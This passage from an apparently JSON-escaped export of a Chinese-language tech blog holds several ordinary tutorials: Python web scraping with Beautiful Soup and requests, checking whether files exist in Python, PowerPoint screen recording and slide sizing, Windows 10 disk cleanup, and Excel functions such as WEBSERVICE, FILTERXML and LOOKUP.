4\u0026lt;/a\u0026gt; \u0026lt;/p\u0026gt;\u0026lt;/body\u0026gt; \u0026#34;\u0026#34;\u0026#34; soup = BeautifulSoup(html_doc, \u0026#39;html.parser\u0026#39;) link2_tag = soup.find(id=\u0026#34;link2\u0026#34;) # 往上層尋找 p 節點 p_tag = link2_tag.find_parents(\u0026#34;p\u0026#34;) print(p_tag) [\u0026lt;p class=\"my_par\"\u0026gt; \u0026lt;a href=\"/my_link1\" id=\"link1\"\u0026gt;Link 1\u0026lt;/a\u0026gt; \u0026lt;a href=\"/my_link2\" id=\"link2\"\u0026gt;Link 2\u0026lt;/a\u0026gt; \u0026lt;a href=\"/my_link3\" id=\"link3\"\u0026gt;Link 3\u0026lt;/a\u0026gt; \u0026lt;a href=\"/my_link4\" id=\"link3\"\u0026gt;Link 4\u0026lt;/a\u0026gt; \u0026lt;/p\u0026gt;] 如果想要在在同一層往前尋找特定節點，則可用 find_previous_siblings 函數（或是 find_previous_sibling）：\n# 在同一層往前尋找 a 節點 link_tag = link2_tag.find_previous_siblings(\u0026#34;a\u0026#34;) print(link_tag) [\u0026lt;a href=\"/my_link1\" id=\"link1\"\u0026gt;Link 1\u0026lt;/a\u0026gt;] 如果想要在在同一層往後尋找特定節點，則可用 find_next_siblings 函數（或是 find_next_sibling）：\n# 在同一層往後尋找 a 節點 link_tag = link2_tag.find_next_siblings(\u0026#34;a\u0026#34;) print(link_tag) [\u0026lt;a href=\"/my_link3\" id=\"link3\"\u0026gt;Link 3\u0026lt;/a\u0026gt;, \u0026lt;a href=\"/my_link4\" id=\"link3\"\u0026gt;Link 4\u0026lt;/a\u0026gt;] 網頁檔案 如果我們想要用 Beautiful Soup 解析已經下載的 HTML 檔案，可以直接將開啟的檔案交給 BeautifulSoup 處理：\nfrom bs4 import BeautifulSoup # 從檔案讀取 HTML 程式碼進行解析 with open(\u0026#34;index.html\u0026#34;) as f: soup = BeautifulSoup(f) 以下我們提供了幾個實際以 Beautiful Soup 開發的網路爬蟲範例程式。\n下載 Yahoo 頭條新聞 Beautiful Soup 本身只是一個 HTML 解析工具，它並不負責下載網頁，所以通常我們在開發爬蟲程式時，會搭配 requests 模組一同使用。\n在這個範例中，我們打算開發一個爬蟲程式，可從 Yahoo 的首頁把頭條新聞的標題與網址抓下來，在開發程式之前，我們通常都會先用瀏覽器的開發人員工具，觀察一下目標網頁的 HTML 結構，找出我們有興趣的資料所在位置，並設計好萃取資料的規則。\n以 Yahoo 頭條新聞來說，我們可以發現網頁中的頭條新聞超連結都有 story-title 這個 CSS 的 class，所以我們只要找出網頁中所有符合此條件的標籤，就可以把頭條新聞的資訊抓出來了。\n以下是使用 requests 模組從 Yahoo 下載首頁的 HTML 資料後，以 Beautiful Soup 翠取出頭條新聞標題的指令稿：\nimport requests from bs4 import BeautifulSoup # 下載 Yahoo 首頁內容 r = requests.get(\u0026#39;https://tw.yahoo.com/\u0026#39;) # 確認是否下載成功 if r.status_code == requests.codes.ok: # 以 BeautifulSoup 解析 HTML 程式碼 soup = BeautifulSoup(r.text, \u0026#39;html.parser\u0026#39;) # 以 CSS 的 class 抓出各類頭條新聞 stories = soup.find_all(\u0026#39;a\u0026#39;, class_=\u0026#39;story-title\u0026#39;) for s in stories: # 新聞標題 print(\u0026#34;標題：\u0026#34; + s.text) # 新聞網址 print(\u0026#34;網址：\u0026#34; + s.get(\u0026#39;href\u0026#39;)) 程式執行之後，就會輸出 Yahoo 首頁頭條新聞的標題與網址：\n下載 Google 搜尋結果 這個範例我們要開發一個可以自動送出關鍵字到 Google 進行搜尋，並將搜尋結果抓回來的爬蟲程式，基本的開發概念都相同，只不過 Google 的網頁會因為瀏覽器（User-Agent）不同而產生不同的結果，所以在觀察程式碼的時候，最好是使用 Beautiful Soup 的 prettify 把抓回來的 HTML 原始碼排版後印出來，這樣看會比較準確。\nGoogle 搜尋引擎網址是 https://www.google.com.tw/search，而關鍵字則是透過 q 這個參數送給它，這個規則只要稍微觀察一下瀏覽器所顯示的網址即可推論出來，有了這個規則之後，就可以用 requests 與 BeautifulSoup 先把 Google 搜尋結果的 HTML 原始碼抓下來看看。\n接著再設計一下萃取資料的規則，這裡我使用一個自己設計的 CSS 的選擇器：\ndiv.g \u0026gt; h3.r \u0026gt; a[href^=\u0026#34;/url\u0026#34;] 它可以抓出 class 為 g 的 \u0026lt;div\u0026gt;，底下緊接著 class 為 r 的 \u0026lt;h3\u0026gt;，底下又接著網址為 /url 開頭的超連結。\n設計好資料萃取的規則後，就可以把整個程式來了，以下是完整的 Google 搜尋爬蟲程式：\nimport requests from bs4 import BeautifulSoup # Google 搜尋 URL google_url = \u0026#39;https://www.google.com.tw/search\u0026#39; # 查詢參數 my_params = {\u0026#39;q\u0026#39;: \u0026#39;寒流\u0026#39;} # 下載 Google 搜尋結果 r = requests.get(google_url, params = my_params) # 確認是否下載成功 if r.status_code == requests.codes.ok: # 以 BeautifulSoup 解析 HTML 原始碼 soup = BeautifulSoup(r.text, \u0026#39;html.parser\u0026#39;) # 觀察 HTML 原始碼 # print(soup.prettify()) # 以 CSS 的選擇器來抓取 Google 的搜尋結果 items = soup.select(\u0026#39;div.g \u0026gt; h3.r \u0026gt; a[href^=\u0026#34;/url\u0026#34;]\u0026#39;) for i in items: # 標題 print(\u0026#34;標題：\u0026#34; + i.text) # 網址 print(\u0026#34;網址：\u0026#34; + i.get(\u0026#39;href\u0026#39;)) 執行後，就可以自動透過 Google 搜尋關鍵字，然後馬上把結果抓回來。\n參考資料 DigitalOcean DigitalOcean opensource.com ","permalink":"https://blog.gtwang.org/programming/python-beautiful-soup-module-scrape-web-pages-tutorial/","summary":"\u003cp\u003e這裡介紹如何使用 Python 的 Beautiful Soup 模組自動下載並解析網頁資料，開發典型的網路爬蟲程式。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://www.crummy.com/software/BeautifulSoup/\"\u003eBeautiful Soup\u003c/a\u003e 是一個 Python 的函式庫模組，可以讓開發者僅須撰寫非常少量的程式碼，就可以快速解析網頁 HTML 碼，從中翠取出使用者有興趣的資料、去蕪存菁，降低網路爬蟲程式的開發門檻、加快程式撰寫速度。\u003c/p\u003e","title":"Python 使用 Beautiful Soup 抓取與解析網頁資料，開發網路爬蟲教學"},{"content":"這裡介紹如何使用 PowerPoint 錄製電腦螢幕畫面影片，不需要任何外掛就可以輕鬆製作操作講解教學影片。\n以往如果想要在電腦上把各種軟體操作的過程錄製下來，製作成教學影片、放上 YouTube 分享，一定要安裝專門的螢幕錄製軟體才行，但是現在我們可以透過 PowerPoint 內建的螢幕錄製功能，在不需要安裝任何軟體的狀況下，直接製作教學影片，快速、方便且操作步驟也很簡單。\nPowerPoint 螢幕錄製 Step 1\n在 PowerPoint 的「插入」籤頁中，點選「螢幕錄製」功能。\nStep 2\n接著在螢幕的上方會出現一個螢幕錄製的工具列，請使用「選取區域」功能在螢幕上選擇想要錄製的區域。\nStep 3\n選取好區域之後，接著將要錄製的軟體拉進這個區域中，調整好視窗大小，都準備好之後，按下紅色的「錄製」按鈕即可開始錄影。\n在工具列中還可以選擇是否要把麥克風的聲音以及滑鼠的指標都一起錄製進去，若不需要的話，可以自行取消。\nStep 4\n開始錄影時，會有三秒鐘的倒數，接著就會開始把選取範圍的畫面操作都錄製下來，而操作完成後，可以按下 Windows 標誌鍵 + Shift + q 停止錄影。\nStep 5\n影片錄製完成後，會自動插入 PowerPoint 的投影片當中。\n儲存為 MP4 影片 如果想要把錄製好的影片分享給其他人，或是上傳到 YouTube 或 facebook 等網路平台，可以將 PowerPoint 中的影片儲存為 MP4 影片檔。\nStep 1\n在影片上點選滑鼠右鍵，開啟右鍵選單，然後點選「另存媒體」。\nStep 2\n選擇影片儲存位置。\nStep 3\n將影片儲存為通用的 MP4 格式之後，就可以很方便的自由運用了。\n","permalink":"https://blog.gtwang.org/windows/powerpoint-record-screen-tutorial/","summary":"\u003cp\u003e這裡介紹如何使用 PowerPoint 錄製電腦螢幕畫面影片，不需要任何外掛就可以輕鬆製作操作講解教學影片。\u003c/p\u003e\n\u003cp\u003e以往如果想要在電腦上把各種軟體操作的過程錄製下來，製作成教學影片、放上 YouTube 分享，一定要安裝專門的螢幕錄製軟體才行，但是現在我們可以透過 PowerPoint 內建的螢幕錄製功能，在不需要安裝任何軟體的狀況下，直接製作教學影片，快速、方便且操作步驟也很簡單。\u003c/p\u003e","title":"PowerPoint 錄製電腦螢幕畫面影片教學"},{"content":"這裡介紹如何在 PowerPoint 中更改的畫面顯示比例，任意調整投影片尺寸的方法。\n傳統上不管是電腦螢幕或是投影機，顯示畫面的比例都是 4：3，而後來許多的新的螢幕與投影機都採用 16：9 的規格，所以現在使用 PowerPoint 製作簡報時，我們也必須考慮一下報告場所的設備，選擇適合的畫面比例。\n在 PowerPoint 新增一份投片時，預設應該會是 16：9 的比例，就像這樣：\n而在許多場合的投影機都還是使用傳統的 4：3 的畫面比例，若遇到這種狀況我們就會需要把投影片調整為 4：3 的比例。\n調整投影片顯示比例 Step 1\n如果想要把投影片的顯示比例更改為傳統的 4：3，可以從「設計」籤頁中選擇「投影片大小」，將顯示比例改為標準的 4：3。\nStep 2\n在調整投影片的比例時，有兩種調整方式，一種是盡量讓內容最大化，邊緣的部分會被切除，而另外一種則是不切除任何內容，讓原本的畫面都放進新的畫面當中，不過這樣顯示的內容會稍微小一點。請依照自己的投影片內容來選擇適合的調整方式。\nStep 3\n調整為標準的 4：3 顯示比例之後，就可以放在傳統的投影機撥放了。\n任意調整投影片尺寸 除了 4：3 與 16：9 這兩種常見的顯示比例之外，我們也可以把投影片的大小調整為任意的尺寸，如此一來就可以很方便的使用 PowerPoint 設計海報或是各種宣傳單。\nStep 1\n首先從「投影片大小」中選擇「自訂投影片大小」。\nStep 2\n接著就會跳出這個投影片大小的設定視窗，在這裡我們就可以任意調整投影片的長度與寬度。\nStep 3\n如果要設計標準 A4 紙張大小的海報或傳單，可直接從預設的投影片大小中選擇，並選擇投影片的方向。\nStep 4\n設定好紙張的大小後，我們就可以使用 PowerPoint 輕鬆設計海報或傳單了。\nStep 5\n設計完成之後，可以直接將成品匯出為 PDF 檔。\nStep 6\n這樣就完成高品質的 A4 海報了。\n","permalink":"https://blog.gtwang.org/windows/powerpoint-how-to-change-slide-aspect-ratio-and-size/","summary":"\u003cp\u003e這裡介紹如何在 PowerPoint 中更改的畫面顯示比例，任意調整投影片尺寸的方法。\u003c/p\u003e\n\u003cp\u003e傳統上不管是電腦螢幕或是投影機，顯示畫面的比例都是 4：3，而後來許多的新的螢幕與投影機都採用 16：9 的規格，所以現在使用 PowerPoint 製作簡報時，我們也必須考慮一下報告場所的設備，選擇適合的畫面比例。\u003c/p\u003e","title":"PowerPoint 如何調整投影片尺寸比例與大小？"},{"content":"這裡整理了幾項在 Windows 10 中釋放硬碟空間的技巧，解決磁碟空間不足的困擾。\n現在大部分的電腦都已經改用了固態硬碟（SSD），而固態硬碟雖然讀寫速度比傳統硬碟更快，但是空間卻少了很多，安裝完 Windows 10 系統之後，通常剩下的空間並不多，經過一段時間的使用之後，很容易就會出現硬碟空間不足的問題。\n像我的固態硬碟只有 128GB 的容量，剛灌完 Windows 10 沒多久，空間就快要不夠用了。\n以下我們整理了幾項在 Windows 10 中節省硬碟空間的方法，可以清理系統上沒用的垃圾檔案，騰出更多可用的儲存空間。\n找出沒用的大型檔案 Step 1\n選擇空間不足的磁碟，然後用滑鼠點選右上角的搜尋欄位。\nStep 2\n在點選搜尋欄位之後，在上方的工具列中就會出現一個「搜尋」功能，請點選該項「搜尋」功能。\nStep 3\n點選「大小」功能。\nStep 4\n在「大小」的選單中，可以選擇搜尋各種大小的檔案，由於我們想找出占用太多空間的大型檔案，所以這裡要選擇「非常大（\u0026gt;128MB）」的檔案。\nStep 5\n這樣就可以搜尋出磁碟中的所有大型檔案，接著在從這些搜尋結果中找出沒有在使用的檔案，將其刪除即可。\n由於這個搜尋結果中也會包含許多系統檔案，所以刪除之前一定要看清楚，確認檔案不是系統內部的重要檔案後，才能刪除。最常見的可刪除檔案應該就是自己的影片檔、照片或軟體安裝檔案等，總之只要確定檔案室自己放進去的，通常刪掉就沒什麼大問題。\n磁碟清理工具 Step 1\n選擇空間不足的磁碟。\nStep 2\n選擇工具列中的「管理」。\nStep 3\n點選「清理」功能。\nStep 4\n此時會跳出磁碟清理的視窗，這裡會列出目前磁碟中可以清理的內容，請選擇要刪除的內容，然後按下「確定」進行清理的動作。\nStep 5\n如果感覺上面的清理動作所釋放出的空間不夠多，可以再選擇「清理系統檔」。\nStep 6\n選擇要清除的系統檔案內容，然後按下「確定」進行清除。\nStep 7\n等待清理完畢，清理磁碟的動作就完成了。\n","permalink":"https://blog.gtwang.org/windows/how-to-save-space-in-windows-10/","summary":"\u003cp\u003e這裡整理了幾項在 Windows 10 中釋放硬碟空間的技巧，解決磁碟空間不足的困擾。\u003c/p\u003e\n\u003cp\u003e現在大部分的電腦都已經改用了固態硬碟（SSD），而固態硬碟雖然讀寫速度比傳統硬碟更快，但是空間卻少了很多，安裝完 Windows 10 系統之後，通常剩下的空間並不多，經過一段時間的使用之後，很容易就會出現硬碟空間不足的問題。\u003c/p\u003e","title":"Windows 10 清理磁碟垃圾檔案、釋放硬碟空間技巧整理"},{"content":"這裡介紹如何啟用 Excel 內建的「分析工具箱」，使用裡面的各種統計分析工具。\nExcel 其實內建了許多專業的統計分析工具，而這類的工具都放在「分析工具箱」當中，只是這個「分析工具箱」預設並沒有啟用，必須要先將其啟用後，才能使用其中的各項功能，以下是啟用 Excel「分析工具箱」的步驟。\nStep 1\n首先從 Excel 的主選單中點選「檔案」。\nStep 2\n點選左下角的「選項」。\nStep 3\n從左側選單選擇「增益集」，接著即可看到所有已經被啟用還有尚未被啟用的增益集，在預設的狀態之下，「分析工具箱」應該會處於非使用中的應用程式增益集，接著點選下方的「執行」，進行增益集的管理。\nStep 4\n勾選「分析工具箱」，按下「確定」。\nStep 5\n選擇 Excel 的「資料」籤頁，這時候應該就會看到一個新增加的「資料分析」功能，點選後就可以使用各種統計分析工具了。\nStep 6\n在「資料分析」功能中，有許多統計上常用的分析工具。\n有了這些工具，我們就可以在 Excel 中進行各種的統計分析工作了。\n","permalink":"https://blog.gtwang.org/windows/excel-enable-analysis-toolpak-tutorial/","summary":"\u003cp\u003e這裡介紹如何啟用 Excel 內建的「分析工具箱」，使用裡面的各種統計分析工具。\u003c/p\u003e\n\u003cp\u003eExcel 其實內建了許多專業的統計分析工具，而這類的工具都放在「分析工具箱」當中，只是這個「分析工具箱」預設並沒有啟用，必須要先將其啟用後，才能使用其中的各項功能，以下是啟用 Excel「分析工具箱」的步驟。\u003c/p\u003e","title":"Excel 啟用分析工具箱步驟教學"},{"content":"這裡介紹何使用 Python 程式判斷指定的檔案或目錄是否已經存在。\n在各種語言的程式設計上，檢查特定的檔案或目錄是否存在是一個很常見的工作，而在 Python 中也不利外，以下是在各種情況下檢查檔案或目錄的方法與範例。\n檢查檔案是否存在 如果您只是想單純檢查檔案存在與否，沒有需要馬上開啟的話，可以使用 os.path.isfile：\nimport os # 要檢查的檔案路徑 filepath = \u0026#34;/etc/motd\u0026#34; # 檢查檔案是否存在 if os.path.isfile(filepath): print(\u0026#34;檔案存在。\u0026#34;) else: print(\u0026#34;檔案不存在。\u0026#34;) os.path.isfile 對於一般檔案以及連結檔案都會傳回 True，如果想判斷檔案是否屬於連結檔，可以再加上 os.path.islink 的判斷：\n# 檢查是否為連結檔 if os.path.islink(filepath): print(\u0026#34;連結檔。\u0026#34;) else: print(\u0026#34;非連結檔。\u0026#34;) 檢查目錄是否存在 若要檢查目錄是否存在，則可使用 os.path.isdir，用法都相同：\nimport os # 要檢查的目錄路徑 folderpath = \u0026#34;/var/log\u0026#34; # 檢查目錄是否存在 if os.path.isdir(folderpath): print(\u0026#34;目錄存在。\u0026#34;) else: print(\u0026#34;目錄不存在。\u0026#34;) os.path.isdir 對於目錄以及連結到目錄的連結檔都會傳回 True，若要判斷是否為連結檔，同樣可使用 os.path.islink。\n檢查路徑是否存在 若只是想要查看特定的路徑是否存在，不分檔案或目錄，則可使用 os.path.exists：\nimport os # 要檢查的檔案路徑 filepath = \u0026#34;/etc/motd\u0026#34; # 檢查路徑是否存在 if os.path.exists(filepath): print(\u0026#34;路徑存在。\u0026#34;) else: print(\u0026#34;路徑不存在。\u0026#34;) 使用 try 開啟檔案 如果您是要在開啟檔案之前，檢查檔案是否存在，建議的作法是使用 try 的方式來嘗試開啟檔案，這樣可以避免在檢查與開啟檔案之間產生的意外狀況，例如：\n# 要開啟的檔案路徑 filepath = \u0026#34;/etc/not-exists\u0026#34; # 使用 try 開啟 try: f = open(filepath, \u0026#39;r\u0026#39;) content = f.read() f.close() # 檔案不存在的例外處理 except FileNotFoundError: print(\u0026#34;檔案不存在。\u0026#34;) # 路徑為目錄的例外處理 except IsADirectoryError: print(\u0026#34;該路徑為目錄\u0026#34;) 在例外處理的部份，我們可以加上各種例外狀況的處理方式，在這裡我們將檔案不存在以及路徑為目錄的狀況分開處理。\n使用 try 建立目錄 若要在目錄不存在時自動建立目錄，也可以直接使用 try 來建立目錄，並加上檔案已存在的例外處理即可：\nimport os # 建立的目錄路徑 folderpath = \u0026#34;/home/gtwang/my_folder\u0026#34; # 使用 try 建立目錄 try: os.makedirs(folderpath) # 檔案已存在的例外處理 except FileExistsError: print(\u0026#34;檔案已存在。\u0026#34;) 使用 try 的方式不但語法簡潔，而且可以處理多種例外狀況，是比較推薦的作法。\n如果在程式測時發生沒有事先預期到的例外，程式可能就會輸出這樣的錯誤訊息（這是沒有寫入權限的錯誤）：\nTraceback (most recent call last): File \"exists.py\", line 8, in \u0026lt;module\u0026gt; os.makedirs(folderpath) File \"/usr/lib/python3.5/os.py\", line 231, in makedirs makedirs(head, mode, exist_ok) File \"/usr/lib/python3.5/os.py\", line 241, in makedirs mkdir(name, mode) PermissionError: [Errno 13] Permission denied: '/home/gtwang/my_folder' 如果想要在程式中也加入這個例外的處理，只要加上對應的例外名稱（在錯誤訊息中就可以看到），以及例外處理的程式碼即可：\nimport os folderpath = \u0026#34;/etc/gtwang/my_folder\u0026#34; try: os.makedirs(folderpath) except FileExistsError: print(\u0026#34;檔案已存在。\u0026#34;) # 權限不足的例外處理 except PermissionError: print(\u0026#34;權限不足。\u0026#34;) pathlib 模組 除了使用傳統的 os 模組來檢查檔案與目錄之外，也可以改用比較新的 pathlib 模組，以物件導向的方式撰寫，功能大同小異：\n# 引入 pathlib 模組 from pathlib import Path # 檔案或目錄路徑 my_file = Path(\u0026#34;/etc/os-release\u0026#34;) # 檢查路徑是否存在 if my_file.exists(): print(\u0026#34;路徑存在。\u0026#34;) else: print(\u0026#34;路徑不存在。\u0026#34;) # 檢查路徑是否為檔案 if my_file.is_file(): print(\u0026#34;路徑是檔案。\u0026#34;) else: print(\u0026#34;路徑不是檔案。\u0026#34;) # 檢查路徑是否為目錄 if my_file.is_dir(): print(\u0026#34;路徑是目錄。\u0026#34;) else: print(\u0026#34;路徑不是目錄。\u0026#34;) 參考資料 StackOverflow ","permalink":"https://blog.gtwang.org/programming/python-howto-check-whether-file-folder-exists/","summary":"\u003cp\u003e這裡介紹何使用 Python 程式判斷指定的檔案或目錄是否已經存在。\u003c/p\u003e\n\u003cp\u003e在各種語言的程式設計上，檢查特定的檔案或目錄是否存在是一個很常見的工作，而在 Python 中也不利外，以下是在各種情況下檢查檔案或目錄的方法與範例。\u003c/p\u003e","title":"Python 如何檢查檔案或目錄是否已經存在？"},{"content":"本篇介紹如何在 Python 中使用 requests 模組建立各種 HTTP 請求，從網頁伺服器上取得想要的資料。\n如果想要使用 Python 來下載網頁上的資料，最基本的作法就是以 requests 模組建立適當的 HTTP 請求，透過 HTTP 請求從網頁伺服器下載指定的資料，這種方式雖然步驟比較繁瑣，也需要一點通訊協定的基礎，但是絕大部分的網路爬蟲或除錯問題都可以靠這個架構解決，是資深網路程式設計師必備的工具之一。\n安裝 requests 模組 requests 模組可以使用 pip 來安裝：\n# 安裝 Python 2 的 requests 模組 pip install requests # 安裝 Python 3 的 requests 模組 pip3 install requests2 GET 請求 普通單純的網頁，只需要用最簡單的 GET 請求即可直接下載，以下是一個簡單的範例：\n# 引入 requests 模組 import requests # 使用 GET 方式下載普通網頁 r = requests.get(\u0026#39;https://www.google.com.tw/\u0026#39;) 這裡我們以 GET 下載 Google 的網頁後，將結果儲存於 r 這個變數中，首先確認一下從伺服器傳回的狀態碼：\n# 伺服器回應的狀態碼 print(r.status_code) 200 如果顯示 200 就代表沒問題。我們也可以利用以下這個判斷式來檢查狀態碼：\n# 檢查狀態碼是否 OK if r.status_code == requests.codes.ok: print(\u0026#34;OK\u0026#34;) 在確認狀態碼沒問題之後，接著即可放心使用抓回來的資料，如果要查看原始的網頁 HTML 程式碼，可以從 r.text 取得：\n# 輸出網頁 HTML 原始碼 print(r.text) 增加 URL 查詢參數 許多的 GET 請求都會在 URL 中夾帶簡短的查詢參數（例如搜尋關鍵字等），這種狀況可以這樣寫：\n# 查詢參數 my_params = {\u0026#39;key1\u0026#39;: \u0026#39;value1\u0026#39;, \u0026#39;key2\u0026#39;: \u0026#39;value2\u0026#39;} # 將查詢參數加入 GET 請求中 r = requests.get(\u0026#39;https://httpbin.org/get\u0026#39;, params = my_params) 我們可以觀察最後所產生的 URL：\n# 觀察 URL print(r.url) https://httpbin.org/get?key2=value2\u0026key1=value1 雖然我們也可以自己產生這段 URL，然後直接指定給 requests，不過自己處理的話，還必須注意編碼問題（尤其是有中文字的情況），所以建議還是交給 requests 統一處理比較省事。\n自訂請求表頭 在進階的網路爬蟲程式中，自訂請求表頭也是一個很常被使用的技術，以下是一個簡單的範例：\n# 自訂表頭 my_headers = {\u0026#39;user-agent\u0026#39;: \u0026#39;my-app/0.0.1\u0026#39;} # 將自訂表頭加入 GET 請求中 r = requests.get(\u0026#39;https://httpbin.org/get\u0026#39;, headers = my_headers) 帳號密碼登入 若遇到需要帳號與密碼登入後才能看的網頁（HTTP 基本認證），可以使用 auth 參數指定帳號與密碼：\n# 需要帳號登入的網頁 r = requests.get(\u0026#39;https://api.github.com/user\u0026#39;, auth=(\u0026#39;user\u0026#39;, \u0026#39;pass\u0026#39;)) POST 請求 POST 請求也是很常用的 HTTP 請求，只要是網頁中有讓使用者填入資料的表單，大部分都會需要用 POST 請求來處理，以下是一個簡單的範例：\n# 資料 my_data = {\u0026#39;key1\u0026#39;: \u0026#39;value1\u0026#39;, \u0026#39;key2\u0026#39;: \u0026#39;value2\u0026#39;} # 將資料加入 POST 請求中 r = requests.post(\u0026#39;https://httpbin.org/post\u0026#39;, data = my_data) 若有遇到重複鍵值（key）的 HTML 表單欄位，可以這樣處理：\n# 具有重複鍵值的資料 my_data = ((\u0026#39;key1\u0026#39;, \u0026#39;value1\u0026#39;), (\u0026#39;key1\u0026#39;, \u0026#39;value2\u0026#39;)) # 將資料加入 POST 請求中 r = requests.post(\u0026#39;https://httpbin.org/post\u0026#39;, data = my_data) 上傳檔案 若要上傳檔案，也可以使用 POST 請求來處理，這是一個上傳 Word 文件的範例：\n# 要上傳的檔案 my_files = {\u0026#39;my_filename\u0026#39;: open(\u0026#39;my_file.docx\u0026#39;, \u0026#39;rb\u0026#39;)} # 將檔案加入 POST 請求中 r = requests.post(\u0026#39;https://httpbin.org/post\u0026#39;, files = my_files) Cookie 如果伺服器傳回的網頁資料中含有 cookies，requests 也可以輕鬆取出 cookies 的資料：\n# 含有 cookie 的內容 r = requests.get(\u0026#34;https://my.server.com/has/cookies\u0026#34;) # 取出 cookie print(r.cookies[\u0026#39;my_cookie_name\u0026#39;]) 若要將自己設定的 cookies 放進 GET 請求中送給伺服器，可以這樣寫：\n# 設定 cookie my_cookies = dict(my_cookie_name=\u0026#39;G. T. Wang\u0026#39;) # 將 cookie 加入 GET 請求 r = requests.get(\u0026#34;https://httpbin.org/cookies\u0026#34;, cookies = my_cookies) 常見問題 這裡列出一些實務上常見的問題與解決方式。\n等待逾時 requests 預設會一直等待直到伺服器完成回應為止，如果想改變等待逾時設定，可以用 timeout 設定（單位為秒）：\n# 等待 3 秒無回應則放棄 requests.get(\u0026#39;https://github.com/\u0026#39;, timeout = 3) 等待逾時設定是指伺服器無回應的狀態下所等待的時間，更精確的說就是完全沒有收到任何資料的狀況下，可等待的最長時間。\n不合格憑證 當我們在自架網頁伺服器進行測試時，HTTPS 時常會有憑證不合格的問題，當 requests 遇到這種伺服器就容易會出現 requests.exceptions.SSLError 這樣的錯誤，解決的方式就是加上 verify=False，關閉 requests 的憑證檢查功能：\n# 關閉憑證檢查 r = requests.get(\u0026#39;https://my.server.com/\u0026#39;, verify = False) 參考資料 Requests: HTTP for Humans ","permalink":"https://blog.gtwang.org/programming/python-requests-module-tutorial/","summary":"\u003cp\u003e本篇介紹如何在 Python 中使用 \u003ccode\u003erequests\u003c/code\u003e 模組建立各種 HTTP 請求，從網頁伺服器上取得想要的資料。\u003c/p\u003e\n\u003cp\u003e如果想要使用 Python 來下載網頁上的資料，最基本的作法就是以 \u003ccode\u003erequests\u003c/code\u003e 模組建立適當的 HTTP 請求，透過 HTTP 請求從網頁伺服器下載指定的資料，這種方式雖然步驟比較繁瑣，也需要一點通訊協定的基礎，但是絕大部分的網路爬蟲或除錯問題都可以靠這個架構解決，是資深網路程式設計師必備的工具之一。\u003c/p\u003e","title":"Python 使用 requests 模組產生 HTTP 請求，下載網頁資料教學"},{"content":"這裡示範如何使用 Excel 的 WEBSERVICE 自動下載網路上的資料，並藉由 FILTERXML 函數萃取出有用的資訊，即時顯示於 Excel 表格內。\n許多人應該都聽過網路爬蟲程式，它可以自動下載網路上的資料，並萃取出有用的資訊，幫使用者省下手動抓資料的時間，而在 Excel 中其實也有內建類似的功能，只不過使用上需要一些技巧，以下是在 Excel 中開發爬蟲程式的簡單教學。\nWEBSERVICE 下載網頁函數 在 Excel 中如果想要把網路上及時的資料下載下來，放進 Excel 的報表中，可以使用 WEBSERVICE 這個網路服務函數，它可以接受任何的 URL 網址，自動將網頁內容擷取下來：\n=WEBSERVICE(網址) 例如在行政院環境保護署環境資源資料開放平臺上面，可以查到即時的紫外線觀測資料，XML 格式的資料會類似這樣：\n若要在 Excel 中把這個即時的紫外線觀測資料抓下來，就把 XML 檔的網址放進 WEBSERVICE 函數中即可：\n=WEBSERVICE(\u0026#34;http://opendata2.epa.gov.tw/UV/UV.xml\u0026#34;) 不過由於大部分的網路資料 API 所提供的資料都是 XML、CSV 或 JSON 這類的編碼格式，所以若使用 WEBSERVICE 抓下來之後，直接放在 Excel 表格中，就會像這樣不太好閱讀，若想要產生比較乾淨的報表，就需要再加上一些處理。\nFILTERXML 解析 XML 函數 Excel 的 FILTERXML 函數可用來解析複雜的 XML 結構資料，快速從大量的 XML 資料中取出有用的資訊，有了這個函數我們就可以在不需要自己寫 VBA 程式的情況下，解析各種 XML 資料，其用法如下：\n=FILTERXML(XML資料,XPath路徑) 通常 XML 資料的部分就直接放置 WEBSERVICE 抓回來的結果，然後再使用 XPath 路徑指定要萃取的資訊。\n以上面的紫外線觀測資料範例來說，我們可以使用 /UV/Data[1]/County 這個 XPath 把 XML 中第一筆資料的縣市名稱抓出來：\n=FILTERXML(WEBSERVICE(\u0026#34;http://opendata2.epa.gov.tw/UV/UV.xml\u0026#34;),\u0026#34;/UV/Data[1]/County\u0026#34;) 接著再用 /UV/Data[1]/UVI 這個 XPath 抓出紫外線指數：\n=FILTERXML(WEBSERVICE(\u0026#34;http://opendata2.epa.gov.tw/UV/UV.xml\u0026#34;),\u0026#34;/UV/Data[1]/UVI\u0026#34;) 這樣就可以非常精準的把有興趣的資訊抓出來，放在 Excel 表格中了：\n由於在 Excel 中現成可用的解析工具只有適用於 XML 檔的 FILTERXML 函數，若遇到 JSON 或 CSV 檔的話，就真的要寫 VBA 程式了，所以如果自己要下載的資料有 XML 格式可用的話，就盡量選擇 XML 格式，會方便許多。\n參考資料 analystcave.com ","permalink":"https://blog.gtwang.org/windows/excel-webservice-function-tutorial/","summary":"\u003cp\u003e這裡示範如何使用 Excel 的 \u003ccode\u003eWEBSERVICE\u003c/code\u003e 自動下載網路上的資料，並藉由 \u003ccode\u003eFILTERXML\u003c/code\u003e 函數萃取出有用的資訊，即時顯示於 Excel 表格內。\u003c/p\u003e\n\u003cp\u003e許多人應該都聽過網路爬蟲程式，它可以自動下載網路上的資料，並萃取出有用的資訊，幫使用者省下手動抓資料的時間，而在 Excel 中其實也有內建類似的功能，只不過使用上需要一些技巧，以下是在 Excel 中開發爬蟲程式的簡單教學。\u003c/p\u003e","title":"Excel WEBSERVICE 與 FILTERXML 函數自動下載網頁資料，網路爬蟲程式教學"},{"content":"這裡介紹如何使用 Excel 的 LOOKUP 查找函數查詢對應表格，將資料或數值轉換成對應的值。\n在 Excel 中當我們需要根據特定的對應表，將資料進行某些轉換時，就可以使用 LOOKUP 函數，其作用跟 VLOOKUP 函數類似，使用者可以自行選擇自己偏好的函數使用。\n成績等第查表範例 假設我們有一些考試成績的分數如下：\n而現在我們想要根據成績來區分等第，以下是區分的規則：\n等第 分數區間 優等 分數 \u0026gt;= 90 甲等 80 \u0026lt;= 分數 \u0026lt; 90 乙等 70 \u0026lt;= 分數 \u0026lt; 80 丙等 60 \u0026lt;= 分數 \u0026lt; 70 丁等 分數 \u0026lt; 60 若想要使用 LOOKUP 函數來幫助我們自動計算出每筆成績資料的等第，首先要先建立一個等第對照表，在建立對照表時，分數的區間要填入該區間的下限值，而且這個表格要從最低分開始寫，以遞增順序排列，如果沒有按照這個規則的話，在使用 LOOKUP 函數時就會出錯，所以一定要注意。\n建立好對照表之後，就可以使用 LOOKUP 自動查找各成績資料的等第了，而 